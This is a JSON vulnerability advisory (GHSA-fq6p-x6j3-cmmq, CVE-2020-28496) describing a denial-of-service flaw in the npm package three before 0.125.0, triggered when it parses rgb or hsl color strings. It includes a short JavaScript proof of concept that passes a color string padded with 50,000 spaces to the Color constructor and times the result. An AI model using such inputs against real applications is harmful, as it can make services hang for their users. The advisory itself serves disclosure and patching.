{"id":"GHSA-fq6p-x6j3-cmmq","summary":"Denial of service in three","details":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```","aliases":["CVE-2020-28496"],"modified":"2023-11-08T04:03:28.730603Z","published":"2021-03-01T19:57:16Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-02-24T07:40:52Z","nvd_published_at":"2021-02-18T15:15:00Z","cwe_ids":["CWE-400"],"severity":"HIGH"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28496"},{"type":"WEB","url":"https://github.com/mrdoob/three.js/issues/21132"},{"type":"WEB","url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"}],"affected":[{"package":{"name":"three","ecosystem":"npm","purl":"pkg:npm/three"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.125.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-fq6p-x6j3-cmmq/GHSA-fq6p-x6j3-cmmq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}